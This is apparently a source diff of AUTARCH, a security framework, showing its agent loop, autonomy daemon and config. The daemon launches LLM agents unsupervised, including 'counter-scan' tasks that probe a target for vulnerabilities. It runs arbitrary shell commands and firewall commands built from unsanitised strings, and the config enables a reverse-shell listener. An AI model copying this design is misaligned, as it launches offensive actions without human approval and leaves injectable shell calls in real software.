self._log(f"Step {step_count}/{self.max_steps}", "info")
# Generate response
self._set_state(AgentState.THINKING)
try:
prompt = self._build_prompt()
response = self.llm.generate(
prompt,
stop=["OBSERVATION:", "\nUser:", "\nTask:"],
temperature=0.3, # Lower temperature for more focused responses
)
except LLMError as e:
self._set_state(AgentState.ERROR)
return AgentResult(
success=False,
summary="LLM generation failed",
steps=self.steps,
error=str(e)
)
# Parse response
try:
thought, action, params = self._parse_response(response)
parse_failures = 0 # Reset on success
except ValueError as e:
parse_failures += 1
self._log(f"Failed to parse response: {e}", "error")
self._log(f"Raw response: {response[:200]}...", "warning")
# After 2 consecutive parse failures, the model can't follow
# the structured format — treat its response as a direct answer
if parse_failures >= 2:
# Clean up the raw response for display
answer = response.strip()
# Remove ChatML tokens if present
for tag in ['<|im_end|>', '<|im_start|>', '<|endoftext|>']:
answer = answer.split(tag)[0]
answer = answer.strip()
if not answer:
answer = "I could not process that request in agent mode. Try switching to Chat mode."
self._log("Model cannot follow structured format, returning direct answer", "warning")
step = AgentStep(thought="Direct response (model does not support agent format)", tool_name="task_complete", tool_args={"summary": answer})
step.tool_result = answer
self.steps.append(step)
if self.on_step:
self.on_step(step)
self._set_state(AgentState.COMPLETE)
return AgentResult(success=True, summary=answer, steps=self.steps)
# First failure — give one retry with format correction
self.conversation.append({
"role": "assistant",
"content": response
})
self.conversation.append({
"role": "user",
"content": "Error: Could not parse your response. Please use the exact format:\nTHOUGHT: [reasoning]\nACTION: [tool_name]\nPARAMS: {\"param\": \"value\"}"
})
continue
self._log(f"Thought: {thought[:100]}..." if len(thought) > 100 else f"Thought: {thought}", "thought")
self._log(f"Action: {action}", "action")
step = AgentStep(thought=thought, tool_name=action, tool_args=params)
# Handle task_complete
if action == "task_complete":
summary = params.get("summary", thought)
step.tool_result = summary
self.steps.append(step)
if self.on_step:
self.on_step(step)
self._set_state(AgentState.COMPLETE)
self._log(f"Task complete: {summary}", "success")
return AgentResult(
success=True,
summary=summary,
steps=self.steps
)
# Handle ask_user
if action == "ask_user":
question = params.get("question", "What should I do?")
self._set_state(AgentState.WAITING_USER)
self._log(f"Agent asks: {question}", "info")
if user_input_handler:
user_response = user_input_handler(question)
else:
print(f"\n{Colors.YELLOW}Agent question: {question}{Colors.RESET}")
user_response = input(f"{Colors.GREEN}Your answer: {Colors.RESET}").strip()
step.tool_result = f"User response: {user_response}"
self.steps.append(step)
if self.on_step:
self.on_step(step)
# Add to conversation
self.conversation.append({
"role": "assistant",
"content": f"THOUGHT: {thought}\nACTION: {action}\nPARAMS: {json.dumps(params)}"
})
self.conversation.append({
"role": "user",
"content": f"OBSERVATION: User responded: {user_response}"
})
continue
# Execute tool
self._set_state(AgentState.EXECUTING)
self._log(f"Executing: {action}({params})", "action")
result = self._execute_tool(action, params)
step.tool_result = result
self.steps.append(step)
if self.on_step:
self.on_step(step)
# Truncate long results for display
display_result = result[:200] + "..." if len(result) > 200 else result
self._log(f"Result: {display_result}", "result")
# Add to conversation
self.conversation.append({
"role": "assistant",
"content": f"THOUGHT: {thought}\nACTION: {action}\nPARAMS: {json.dumps(params)}"
})
self.conversation.append({
"role": "user",
"content": f"OBSERVATION: {result}"
})
# Max steps reached
self._set_state(AgentState.ERROR)
self._log(f"Max steps ({self.max_steps}) reached", "warning")
return AgentResult(
success=False,
summary="Max steps reached without completing task",
steps=self.steps,
error=f"Exceeded maximum of {self.max_steps} steps"
)
def _build_prompt(self) -> str:
"""Build the full prompt from conversation history."""
parts = []
for msg in self.conversation:
role = msg["role"]
content = msg["content"]
if role == "system":
parts.append(f"<|im_start|>system\n{content}<|im_end|>")
elif role == "user":
parts.append(f"<|im_start|>user\n{content}<|im_end|>")
elif role == "assistant":
parts.append(f"<|im_start|>assistant\n{content}<|im_end|>")
parts.append("<|im_start|>assistant\n")
return "\n".join(parts)
def get_steps_summary(self) -> str:
"""Get a formatted summary of all steps taken."""
if not self.steps:
return "No steps executed"
lines = []
for i, step in enumerate(self.steps, 1):
lines.append(f"Step {i}:")
lines.append(f" Thought: {step.thought[:80]}...")
if step.tool_name:
lines.append(f" Action: {step.tool_name}")
if step.tool_result:
result_preview = step.tool_result[:80] + "..." if len(step.tool_result) > 80 else step.tool_result
lines.append(f" Result: {result_preview}")
lines.append("")
return "\n".join(lines)

2804
core/android_exploit.py Normal file

File diff suppressed because it is too large Load Diff

1910
core/android_protect.py Normal file

File diff suppressed because it is too large Load Diff

665
core/autonomy.py Normal file
View File

@@ -0,0 +1,665 @@
"""
AUTARCH Autonomy Daemon
Background loop that monitors threats, evaluates rules, and dispatches
AI-driven responses across all categories (defense, offense, counter,
analyze, OSINT, simulate).
The daemon ties together:
- ThreatMonitor (threat data gathering)
- RulesEngine (condition-action evaluation)
- ModelRouter (SLM/SAM/LAM model tiers)
- Agent (autonomous task execution)
"""
import json
import logging
import threading
import time
import uuid
from collections import deque
from dataclasses import dataclass, field, asdict
from datetime import datetime
from pathlib import Path
from typing import List, Dict, Any, Optional, Deque
from .config import get_config
from .rules import RulesEngine, Rule
from .model_router import get_model_router, ModelTier
_logger = logging.getLogger('autarch.autonomy')
@dataclass
class ActivityEntry:
"""Single entry in the autonomy activity log."""
id: str
timestamp: str
rule_id: Optional[str] = None
rule_name: Optional[str] = None
tier: Optional[str] = None
action_type: str = ''
action_detail: str = ''
result: str = ''
success: bool = True
duration_ms: Optional[int] = None
def to_dict(self) -> dict:
return asdict(self)
class AutonomyDaemon:
"""Background daemon for autonomous threat response.
Lifecycle: start() -> pause()/resume() -> stop()
"""
LOG_PATH = Path(__file__).parent.parent / 'data' / 'autonomy_log.json'
def __init__(self, config=None):
self.config = config or get_config()
self.rules_engine = RulesEngine()
self._router = None # Lazy — get_model_router() on start
# State
self._thread: Optional[threading.Thread] = None
self._running = False
self._paused = False
self._stop_event = threading.Event()
# Agent tracking
self._active_agents: Dict[str, threading.Thread] = {}
self._agent_lock = threading.Lock()
# Activity log (ring buffer)
settings = self.config.get_autonomy_settings()
max_entries = settings.get('log_max_entries', 1000)
self._activity: Deque[ActivityEntry] = deque(maxlen=max_entries)
self._activity_lock = threading.Lock()
# SSE subscribers
self._subscribers: List = []
self._sub_lock = threading.Lock()
# Load persisted log
self._load_log()
# ------------------------------------------------------------------
# Lifecycle
# ------------------------------------------------------------------
@property
def status(self) -> dict:
"""Current daemon status."""
settings = self.config.get_autonomy_settings()
with self._agent_lock:
active = len(self._active_agents)
return {
'running': self._running,
'paused': self._paused,
'enabled': settings['enabled'],
'monitor_interval': settings['monitor_interval'],
'rule_eval_interval': settings['rule_eval_interval'],
'active_agents': active,
'max_agents': settings['max_concurrent_agents'],
'rules_count': len(self.rules_engine.get_all_rules()),
'activity_count': len(self._activity),
}
def start(self) -> bool:
"""Start the autonomy daemon background thread."""
if self._running:
_logger.warning('[Autonomy] Already running')
return False
self._router = get_model_router()
self._running = True
self._paused = False
self._stop_event.clear()
self._thread = threading.Thread(
target=self._run_loop,
name='AutonomyDaemon',
daemon=True,
)
self._thread.start()
self._log_activity('system', 'Autonomy daemon started')
_logger.info('[Autonomy] Daemon started')
return True
def stop(self):
"""Stop the daemon and wait for thread exit."""
if not self._running:
return
self._running = False
self._stop_event.set()
if self._thread and self._thread.is_alive():
self._thread.join(timeout=10)
self._log_activity('system', 'Autonomy daemon stopped')
_logger.info('[Autonomy] Daemon stopped')
def pause(self):
"""Pause rule evaluation (monitoring continues)."""
self._paused = True
self._log_activity('system', 'Autonomy paused')
_logger.info('[Autonomy] Paused')
def resume(self):
"""Resume rule evaluation."""
self._paused = False
self._log_activity('system', 'Autonomy resumed')
_logger.info('[Autonomy] Resumed')
# ------------------------------------------------------------------
# Main loop
# ------------------------------------------------------------------
def _run_loop(self):
"""Background loop: gather context, evaluate rules, dispatch."""
settings = self.config.get_autonomy_settings()
monitor_interval = settings['monitor_interval']
rule_eval_interval = settings['rule_eval_interval']
last_rule_eval = 0
while self._running and not self._stop_event.is_set():
try:
# Gather threat context every cycle
context = self._gather_context()
# Evaluate rules at a slower cadence
now = time.time()
if not self._paused and (now - last_rule_eval) >= rule_eval_interval:
last_rule_eval = now
self._evaluate_and_dispatch(context)
except Exception as e:
_logger.error(f'[Autonomy] Loop error: {e}')
self._log_activity('error', f'Loop error: {e}', success=False)
# Sleep in short increments so stop is responsive
self._stop_event.wait(timeout=monitor_interval)
def _gather_context(self) -> Dict[str, Any]:
"""Gather current threat context from ThreatMonitor."""
try:
from modules.defender_monitor import get_threat_monitor
tm = get_threat_monitor()
except ImportError:
_logger.warning('[Autonomy] ThreatMonitor not available')
return {'timestamp': datetime.now().isoformat()}
context: Dict[str, Any] = {
'timestamp': datetime.now().isoformat(),
}
try:
context['connections'] = tm.get_connections()
context['connection_count'] = len(context['connections'])
except Exception:
context['connections'] = []
context['connection_count'] = 0
try:
context['bandwidth'] = {}
bw = tm.get_bandwidth()
if bw:
total_rx = sum(iface.get('rx_delta', 0) for iface in bw)
total_tx = sum(iface.get('tx_delta', 0) for iface in bw)
context['bandwidth'] = {
'rx_mbps': (total_rx * 8) / 1_000_000,
'tx_mbps': (total_tx * 8) / 1_000_000,
'interfaces': bw,
}
except Exception:
context['bandwidth'] = {'rx_mbps': 0, 'tx_mbps': 0}
try:
context['arp_alerts'] = tm.check_arp_spoofing()
except Exception:
context['arp_alerts'] = []
try:
context['new_ports'] = tm.check_new_listening_ports()
except Exception:
context['new_ports'] = []
try:
context['threat_score'] = tm.calculate_threat_score()
except Exception:
context['threat_score'] = {'score': 0, 'level': 'LOW', 'details': []}
try:
context['ddos'] = tm.detect_ddos()
except Exception:
context['ddos'] = {'under_attack': False}
try:
context['scan_indicators'] = tm.check_port_scan_indicators()
if isinstance(context['scan_indicators'], list):
context['scan_indicators'] = len(context['scan_indicators'])
except Exception:
context['scan_indicators'] = 0
return context
# ------------------------------------------------------------------
# Rule evaluation and dispatch
# ------------------------------------------------------------------
def _evaluate_and_dispatch(self, context: Dict[str, Any]):
"""Evaluate rules and dispatch matching actions."""
matches = self.rules_engine.evaluate(context)
for rule, resolved_actions in matches:
for action in resolved_actions:
action_type = action.get('type', '')
_logger.info(f'[Autonomy] Rule "{rule.name}" triggered -> {action_type}')
if self._is_agent_action(action_type):
self._dispatch_agent(rule, action, context)
else:
self._dispatch_direct(rule, action, context)
def _is_agent_action(self, action_type: str) -> bool:
"""Check if an action requires an AI agent."""
return action_type in ('run_module', 'counter_scan', 'escalate_to_lam')
def _dispatch_direct(self, rule: Rule, action: dict, context: dict):
"""Execute a simple action directly (no LLM needed)."""
action_type = action.get('type', '')
start = time.time()
success = True
result = ''
try:
if action_type == 'block_ip':
result = self._action_block_ip(action.get('ip', ''))
elif action_type == 'unblock_ip':
result = self._action_unblock_ip(action.get('ip', ''))
elif action_type == 'rate_limit_ip':
result = self._action_rate_limit(
action.get('ip', ''),
action.get('rate', '10/s'),
)
elif action_type == 'block_port':
result = self._action_block_port(
action.get('port', ''),
action.get('direction', 'inbound'),
)
elif action_type == 'kill_process':
result = self._action_kill_process(action.get('pid', ''))
elif action_type in ('alert', 'log_event'):
result = action.get('message', 'No message')
elif action_type == 'run_shell':
result = self._action_run_shell(action.get('command', ''))
else:
result = f'Unknown action type: {action_type}'
success = False
except Exception as e:
result = f'Error: {e}'
success = False
duration = int((time.time() - start) * 1000)
detail = action.get('ip', '') or action.get('port', '') or action.get('message', '')[:80]
self._log_activity(
action_type, detail,
rule_id=rule.id, rule_name=rule.name,
result=result, success=success, duration_ms=duration,
)
def _dispatch_agent(self, rule: Rule, action: dict, context: dict):
"""Spawn an AI agent to handle a complex action."""
settings = self.config.get_autonomy_settings()
max_agents = settings['max_concurrent_agents']
# Clean finished agents
with self._agent_lock:
self._active_agents = {
k: v for k, v in self._active_agents.items()
if v.is_alive()
}
if len(self._active_agents) >= max_agents:
_logger.warning('[Autonomy] Max agents reached, skipping')
self._log_activity(
action.get('type', 'agent'), 'Skipped: max agents reached',
rule_id=rule.id, rule_name=rule.name,
success=False,
)
return
agent_id = str(uuid.uuid4())[:8]
action_type = action.get('type', '')
# Determine tier
if action_type == 'escalate_to_lam':
tier = ModelTier.LAM
else:
tier = ModelTier.SAM
t = threading.Thread(
target=self._run_agent,
args=(agent_id, tier, rule, action, context),
name=f'Agent-{agent_id}',
daemon=True,
)
with self._agent_lock:
self._active_agents[agent_id] = t
t.start()
self._log_activity(
action_type, f'Agent {agent_id} spawned ({tier.value})',
rule_id=rule.id, rule_name=rule.name, tier=tier.value,
)
def _run_agent(self, agent_id: str, tier: ModelTier, rule: Rule,
action: dict, context: dict):
"""Execute an agent task in a background thread."""
from .agent import Agent
from .tools import get_tool_registry
action_type = action.get('type', '')
start = time.time()
# Build task prompt
if action_type == 'run_module':
module = action.get('module', '')
args = action.get('args', '')
task = f'Run the AUTARCH module "{module}" with arguments: {args}'
elif action_type == 'counter_scan':
target = action.get('target', '')
task = f'Perform a counter-scan against {target}. Gather reconnaissance and identify vulnerabilities.'
elif action_type == 'escalate_to_lam':
task = action.get('task', 'Analyze the current threat landscape and recommend actions.')
else:
task = f'Execute action: {action_type} with params: {json.dumps(action)}'
# Get LLM instance for the tier
router = self._router or get_model_router()
llm_inst = router.get_instance(tier)
if llm_inst is None or not llm_inst.is_loaded:
# Try fallback
for fallback in (ModelTier.SAM, ModelTier.LAM):
llm_inst = router.get_instance(fallback)
if llm_inst and llm_inst.is_loaded:
tier = fallback
break
else:
self._log_activity(
action_type, f'Agent {agent_id}: no model loaded',
rule_id=rule.id, rule_name=rule.name,
tier=tier.value, success=False,
result='No model available for agent execution',
)
return
try:
agent = Agent(
llm=llm_inst,
tools=get_tool_registry(),
max_steps=15,
verbose=False,
)
result = agent.run(task)
duration = int((time.time() - start) * 1000)
self._log_activity(
action_type,
f'Agent {agent_id}: {result.summary[:100]}',
rule_id=rule.id, rule_name=rule.name,
tier=tier.value, success=result.success,
result=result.summary, duration_ms=duration,
)
except Exception as e:
duration = int((time.time() - start) * 1000)
_logger.error(f'[Autonomy] Agent {agent_id} failed: {e}')
self._log_activity(
action_type, f'Agent {agent_id} failed: {e}',
rule_id=rule.id, rule_name=rule.name,
tier=tier.value, success=False,
result=str(e), duration_ms=duration,
)
finally:
with self._agent_lock:
self._active_agents.pop(agent_id, None)
# ------------------------------------------------------------------
# Direct action implementations
# ------------------------------------------------------------------
def _action_block_ip(self, ip: str) -> str:
if not ip:
return 'No IP specified'
try:
from modules.defender_monitor import get_threat_monitor
tm = get_threat_monitor()
tm.auto_block_ip(ip)
return f'Blocked {ip}'
except Exception as e:
return f'Block failed: {e}'
def _action_unblock_ip(self, ip: str) -> str:
if not ip:
return 'No IP specified'
try:
import subprocess, platform
if platform.system() == 'Windows':
cmd = f'netsh advfirewall firewall delete rule name="AUTARCH Block {ip}"'
else:
cmd = f'iptables -D INPUT -s {ip} -j DROP 2>/dev/null; iptables -D OUTPUT -d {ip} -j DROP 2>/dev/null'
subprocess.run(cmd, shell=True, capture_output=True, timeout=10)
return f'Unblocked {ip}'
except Exception as e:
return f'Unblock failed: {e}'
def _action_rate_limit(self, ip: str, rate: str) -> str:
if not ip:
return 'No IP specified'
try:
from modules.defender_monitor import get_threat_monitor
tm = get_threat_monitor()
tm.apply_rate_limit(ip)
return f'Rate limited {ip} at {rate}'
except Exception as e:
return f'Rate limit failed: {e}'
def _action_block_port(self, port: str, direction: str) -> str:
if not port:
return 'No port specified'
try:
import subprocess, platform
if platform.system() == 'Windows':
d = 'in' if direction == 'inbound' else 'out'
cmd = f'netsh advfirewall firewall add rule name="AUTARCH Block Port {port}" dir={d} action=block protocol=TCP localport={port}'
else:
chain = 'INPUT' if direction == 'inbound' else 'OUTPUT'
cmd = f'iptables -A {chain} -p tcp --dport {port} -j DROP'
subprocess.run(cmd, shell=True, capture_output=True, timeout=10)
return f'Blocked port {port} ({direction})'
except Exception as e:
return f'Block port failed: {e}'
def _action_kill_process(self, pid: str) -> str:
if not pid:
return 'No PID specified'
try:
import subprocess, platform
if platform.system() == 'Windows':
cmd = f'taskkill /F /PID {pid}'
else:
cmd = f'kill -9 {pid}'
subprocess.run(cmd, shell=True, capture_output=True, timeout=10)
return f'Killed process {pid}'
except Exception as e:
return f'Kill failed: {e}'
def _action_run_shell(self, command: str) -> str:
if not command:
return 'No command specified'
try:
import subprocess
result = subprocess.run(
command, shell=True, capture_output=True,
text=True, timeout=30,
)
output = result.stdout[:500]
if result.returncode != 0:
output += f'\n[exit {result.returncode}]'
return output.strip() or '[no output]'
except Exception as e:
return f'Shell failed: {e}'
# ------------------------------------------------------------------
# Activity log
# ------------------------------------------------------------------
def _log_activity(self, action_type: str, detail: str, *,
rule_id: str = None, rule_name: str = None,
tier: str = None, result: str = '',
success: bool = True, duration_ms: int = None):
"""Add an entry to the activity log and notify SSE subscribers."""
entry = ActivityEntry(
id=str(uuid.uuid4())[:8],
timestamp=datetime.now().isoformat(),
rule_id=rule_id,
rule_name=rule_name,
tier=tier,
action_type=action_type,
action_detail=detail,
result=result,
success=success,
duration_ms=duration_ms,
)
with self._activity_lock:
self._activity.append(entry)
# Notify SSE subscribers
self._notify_subscribers(entry)
# Persist periodically (every 10 entries)
if len(self._activity) % 10 == 0:
self._save_log()
def get_activity(self, limit: int = 50, offset: int = 0) -> List[dict]:
"""Get recent activity entries."""
with self._activity_lock:
entries = list(self._activity)
entries.reverse() # Newest first
return [e.to_dict() for e in entries[offset:offset + limit]]
def get_activity_count(self) -> int:
return len(self._activity)
# ------------------------------------------------------------------
# SSE streaming
# ------------------------------------------------------------------
def subscribe(self):
"""Create an SSE subscriber queue."""
import queue
q = queue.Queue(maxsize=100)
with self._sub_lock:
self._subscribers.append(q)
return q
def unsubscribe(self, q):
"""Remove an SSE subscriber."""
with self._sub_lock:
try:
self._subscribers.remove(q)
except ValueError:
pass
def _notify_subscribers(self, entry: ActivityEntry):
"""Push an activity entry to all SSE subscribers."""
data = json.dumps(entry.to_dict())
with self._sub_lock:
dead = []
for q in self._subscribers:
try:
q.put_nowait(data)
except Exception:
dead.append(q)
for q in dead:
try:
self._subscribers.remove(q)
except ValueError:
pass
# ------------------------------------------------------------------
# Persistence
# ------------------------------------------------------------------
def _save_log(self):
"""Persist activity log to JSON file."""
try:
self.LOG_PATH.parent.mkdir(parents=True, exist_ok=True)
with self._activity_lock:
entries = [e.to_dict() for e in self._activity]
self.LOG_PATH.write_text(
json.dumps({'entries': entries[-200:]}, indent=2),
encoding='utf-8',
)
except Exception as e:
_logger.error(f'[Autonomy] Failed to save log: {e}')
def _load_log(self):
"""Load persisted activity log."""
if not self.LOG_PATH.exists():
return
try:
data = json.loads(self.LOG_PATH.read_text(encoding='utf-8'))
for entry_dict in data.get('entries', []):
entry = ActivityEntry(
id=entry_dict.get('id', str(uuid.uuid4())[:8]),
timestamp=entry_dict.get('timestamp', ''),
rule_id=entry_dict.get('rule_id'),
rule_name=entry_dict.get('rule_name'),
tier=entry_dict.get('tier'),
action_type=entry_dict.get('action_type', ''),
action_detail=entry_dict.get('action_detail', ''),
result=entry_dict.get('result', ''),
success=entry_dict.get('success', True),
duration_ms=entry_dict.get('duration_ms'),
)
self._activity.append(entry)
_logger.info(f'[Autonomy] Loaded {len(self._activity)} log entries')
except Exception as e:
_logger.error(f'[Autonomy] Failed to load log: {e}')
# ------------------------------------------------------------------
# Singleton
# ------------------------------------------------------------------
_daemon_instance: Optional[AutonomyDaemon] = None
def get_autonomy_daemon() -> AutonomyDaemon:
"""Get the global AutonomyDaemon instance."""
global _daemon_instance
if _daemon_instance is None:
_daemon_instance = AutonomyDaemon()
return _daemon_instance
def reset_autonomy_daemon():
"""Stop and reset the global daemon."""
global _daemon_instance
if _daemon_instance is not None:
_daemon_instance.stop()
_daemon_instance = None

49
core/banner.py Normal file
View File

@@ -0,0 +1,49 @@
"""
AUTARCH Banner Module
Displays the main ASCII banner for the framework
"""
# ANSI color codes
class Colors:
RED = '\033[91m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
BLUE = '\033[94m'
MAGENTA = '\033[95m'
CYAN = '\033[96m'
WHITE = '\033[97m'
BOLD = '\033[1m'
DIM = '\033[2m'
RESET = '\033[0m'
BANNER = f"""{Colors.RED}{Colors.BOLD}
▄▄▄ █ ██ ▄▄▄█████▓ ▄▄▄ ██▀███ ▄████▄ ██░ ██
▒████▄ ██ ▓██▒▓ ██▒ ▓▒▒████▄ ▓██ ▒ ██▒▒██▀ ▀█ ▓██░ ██▒
▒██ ▀█▄ ▓██ ▒██░▒ ▓██░ ▒░▒██ ▀█▄ ▓██ ░▄█ ▒▒▓█ ▄ ▒██▀▀██░
░██▄▄▄▄██ ▓▓█ ░██░░ ▓██▓ ░ ░██▄▄▄▄██ ▒██▀▀█▄ ▒▓▓▄ ▄██▒░▓█ ░██
▓█ ▓██▒▒▒█████▓ ▒██▒ ░ ▓█ ▓██▒░██▓ ▒██▒▒ ▓███▀ ░░▓█▒░██▓
▒▒ ▓▒█░░▒▓▒ ▒ ▒ ▒ ░░ ▒▒ ▓▒█░░ ▒▓ ░▒▓░░ ░▒ ▒ ░ ▒ ░░▒░▒
▒ ▒▒ ░░░▒░ ░ ░ ░ ▒ ▒▒ ░ ░▒ ░ ▒░ ░ ▒ ▒ ░▒░ ░
░ ▒ ░░░ ░ ░ ░ ░ ▒ ░░ ░ ░ ░ ░░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
{Colors.RESET}{Colors.CYAN} By darkHal and Setec Security Labs.{Colors.RESET}
{Colors.DIM}═══════════════════════════════════════════════════════════════════{Colors.RESET}
"""
def display_banner():
"""Print the AUTARCH banner to the console."""
print(BANNER)
def clear_screen():
"""Clear the terminal screen."""
import os
os.system('clear' if os.name == 'posix' else 'cls')
if __name__ == "__main__":
clear_screen()
display_banner()

586
core/config.py Normal file
View File

@@ -0,0 +1,586 @@
"""
AUTARCH Configuration Handler
Manages the autarch_settings.conf file for llama.cpp settings
"""
import os
import configparser
from pathlib import Path
class Config:
"""Configuration manager for AUTARCH settings."""
DEFAULT_CONFIG = {
'llama': {
'model_path': '',
'n_ctx': '4096',
'n_threads': '4',
'n_gpu_layers': '0',
'gpu_backend': 'cpu',
'temperature': '0.7',
'top_p': '0.9',
'top_k': '40',
'repeat_penalty': '1.1',
'max_tokens': '2048',
'seed': '-1',
},
'autarch': {
'first_run': 'true',
'modules_path': 'modules',
'verbose': 'false',
'quiet': 'false',
'no_banner': 'false',
'llm_backend': 'local',
},
'claude': {
'api_key': '',
'model': 'claude-sonnet-4-20250514',
'max_tokens': '4096',
'temperature': '0.7',
},
'osint': {
'max_threads': '8',
'timeout': '8',
'include_nsfw': 'false',
},
'pentest': {
'max_pipeline_steps': '50',
'output_chunk_size': '2000',
'auto_execute': 'false',
'save_raw_output': 'true',
},
'transformers': {
'model_path': '',
'device': 'auto',
'torch_dtype': 'auto',
'load_in_8bit': 'false',
'load_in_4bit': 'false',
'trust_remote_code': 'false',
'max_tokens': '2048',
'temperature': '0.7',
'top_p': '0.9',
'top_k': '40',
'repetition_penalty': '1.1',
},
'rsf': {
'install_path': '',
'enabled': 'true',
'default_target': '',
'default_port': '80',
'execution_timeout': '120',
},
'upnp': {
'enabled': 'true',
'internal_ip': '10.0.0.26',
'refresh_hours': '12',
'mappings': '443:TCP,51820:UDP,8181:TCP',
},
'web': {
'host': '0.0.0.0',
'port': '8181',
'secret_key': '',
'mcp_port': '8081',
},
'revshell': {
'enabled': 'true',
'host': '0.0.0.0',
'port': '17322',
'auto_start': 'false',
},
'slm': {
'enabled': 'true',
'backend': 'local',
'model_path': '',
'n_ctx': '512',
'n_gpu_layers': '-1',
'n_threads': '2',
},
'sam': {
'enabled': 'true',
'backend': 'local',
'model_path': '',
'n_ctx': '2048',
'n_gpu_layers': '-1',
'n_threads': '4',
},
'lam': {
'enabled': 'true',
'backend': 'local',
'model_path': '',
'n_ctx': '4096',
'n_gpu_layers': '-1',
'n_threads': '4',
},
'autonomy': {
'enabled': 'false',
'monitor_interval': '3',
'rule_eval_interval': '5',
'max_concurrent_agents': '3',
'threat_threshold_auto_respond': '40',
'log_max_entries': '1000',
},
}
def __init__(self, config_path: str = None):
"""Initialize the configuration manager.
Args:
config_path: Path to the configuration file. Defaults to autarch_settings.conf
in the framework directory.
"""
if config_path is None:
from core.paths import get_config_path
self.config_path = get_config_path()
else:
self.config_path = Path(config_path)
self.config = configparser.ConfigParser()
self._load_or_create()
def _load_or_create(self):
"""Load existing config or create with defaults."""
if self.config_path.exists():
self.config.read(self.config_path)
self._apply_missing_defaults()
else:
self._create_default_config()
def _apply_missing_defaults(self):
"""Add any missing sections/keys from DEFAULT_CONFIG to the loaded config."""
changed = False
for section, options in self.DEFAULT_CONFIG.items():
if section not in self.config:
self.config[section] = options
changed = True
else:
for key, value in options.items():
if key not in self.config[section]:
self.config[section][key] = value
changed = True
if changed:
self.save()
def _create_default_config(self):
"""Create a default configuration file."""
for section, options in self.DEFAULT_CONFIG.items():
self.config[section] = options
self.save()
def save(self):
"""Save the current configuration to file."""
with open(self.config_path, 'w') as f:
self.config.write(f)
def get(self, section: str, key: str, fallback=None):
"""Get a configuration value.
Args:
section: Configuration section name
key: Configuration key name
fallback: Default value if key doesn't exist
Returns:
The configuration value or fallback
"""
value = self.config.get(section, key, fallback=fallback)
# Strip quotes from values (handles paths with spaces that were quoted)
if value and isinstance(value, str):
value = value.strip().strip('"').strip("'")
return value
def get_int(self, section: str, key: str, fallback: int = 0) -> int:
"""Get a configuration value as integer."""
return self.config.getint(section, key, fallback=fallback)
def get_float(self, section: str, key: str, fallback: float = 0.0) -> float:
"""Get a configuration value as float."""
return self.config.getfloat(section, key, fallback=fallback)
def get_bool(self, section: str, key: str, fallback: bool = False) -> bool:
"""Get a configuration value as boolean."""
return self.config.getboolean(section, key, fallback=fallback)
def set(self, section: str, key: str, value):
"""Set a configuration value.
Args:
section: Configuration section name
key: Configuration key name
value: Value to set
"""
if section not in self.config:
self.config[section] = {}
self.config[section][key] = str(value)
def is_first_run(self) -> bool:
"""Check if this is the first run of AUTARCH."""
return self.get_bool('autarch', 'first_run', fallback=True)
def mark_setup_complete(self):
"""Mark the first-time setup as complete."""
self.set('autarch', 'first_run', 'false')
self.save()
def get_llama_settings(self) -> dict:
"""Get all llama.cpp settings as a dictionary.
Returns:
Dictionary with llama.cpp settings properly typed
"""
return {
'model_path': self.get('llama', 'model_path', ''),
'n_ctx': self.get_int('llama', 'n_ctx', 4096),
'n_threads': self.get_int('llama', 'n_threads', 4),
'n_gpu_layers': self.get_int('llama', 'n_gpu_layers', 0),
'gpu_backend': self.get('llama', 'gpu_backend', 'cpu'),
'temperature': self.get_float('llama', 'temperature', 0.7),
'top_p': self.get_float('llama', 'top_p', 0.9),
'top_k': self.get_int('llama', 'top_k', 40),
'repeat_penalty': self.get_float('llama', 'repeat_penalty', 1.1),
'max_tokens': self.get_int('llama', 'max_tokens', 2048),
'seed': self.get_int('llama', 'seed', -1),
}
def get_osint_settings(self) -> dict:
"""Get all OSINT settings as a dictionary.
Returns:
Dictionary with OSINT settings properly typed
"""
return {
'max_threads': self.get_int('osint', 'max_threads', 8),
'timeout': self.get_int('osint', 'timeout', 8),
'include_nsfw': self.get_bool('osint', 'include_nsfw', False),
}
def get_pentest_settings(self) -> dict:
"""Get all pentest pipeline settings as a dictionary.
Returns:
Dictionary with pentest settings properly typed
"""
return {
'max_pipeline_steps': self.get_int('pentest', 'max_pipeline_steps', 50),
'output_chunk_size': self.get_int('pentest', 'output_chunk_size', 2000),
'auto_execute': self.get_bool('pentest', 'auto_execute', False),
'save_raw_output': self.get_bool('pentest', 'save_raw_output', True),
}
def get_claude_settings(self) -> dict:
"""Get all Claude API settings as a dictionary.
Returns:
Dictionary with Claude API settings properly typed
"""
return {
'api_key': self.get('claude', 'api_key', ''),
'model': self.get('claude', 'model', 'claude-sonnet-4-20250514'),
'max_tokens': self.get_int('claude', 'max_tokens', 4096),
'temperature': self.get_float('claude', 'temperature', 0.7),
}
def get_transformers_settings(self) -> dict:
"""Get all transformers/safetensors settings as a dictionary.
Returns:
Dictionary with transformers settings properly typed
"""
return {
'model_path': self.get('transformers', 'model_path', ''),
'device': self.get('transformers', 'device', 'auto'),
'torch_dtype': self.get('transformers', 'torch_dtype', 'auto'),
'load_in_8bit': self.get_bool('transformers', 'load_in_8bit', False),
'load_in_4bit': self.get_bool('transformers', 'load_in_4bit', False),
'llm_int8_enable_fp32_cpu_offload': self.get_bool('transformers', 'llm_int8_enable_fp32_cpu_offload', False),
'device_map': self.get('transformers', 'device_map', 'auto'),
'trust_remote_code': self.get_bool('transformers', 'trust_remote_code', False),
'max_tokens': self.get_int('transformers', 'max_tokens', 2048),
'temperature': self.get_float('transformers', 'temperature', 0.7),
'top_p': self.get_float('transformers', 'top_p', 0.9),
'top_k': self.get_int('transformers', 'top_k', 40),
'repetition_penalty': self.get_float('transformers', 'repetition_penalty', 1.1),
}
def get_huggingface_settings(self) -> dict:
"""Get all HuggingFace Inference API settings as a dictionary."""
return {
'api_key': self.get('huggingface', 'api_key', ''),
'model': self.get('huggingface', 'model', 'mistralai/Mistral-7B-Instruct-v0.3'),
'endpoint': self.get('huggingface', 'endpoint', ''),
'provider': self.get('huggingface', 'provider', 'auto'),
'max_tokens': self.get_int('huggingface', 'max_tokens', 1024),
'temperature': self.get_float('huggingface', 'temperature', 0.7),
'top_p': self.get_float('huggingface', 'top_p', 0.9),
'top_k': self.get_int('huggingface', 'top_k', 40),
'repetition_penalty': self.get_float('huggingface', 'repetition_penalty', 1.1),
'do_sample': self.get_bool('huggingface', 'do_sample', True),
'seed': self.get_int('huggingface', 'seed', -1),
'stop_sequences': self.get('huggingface', 'stop_sequences', ''),
}
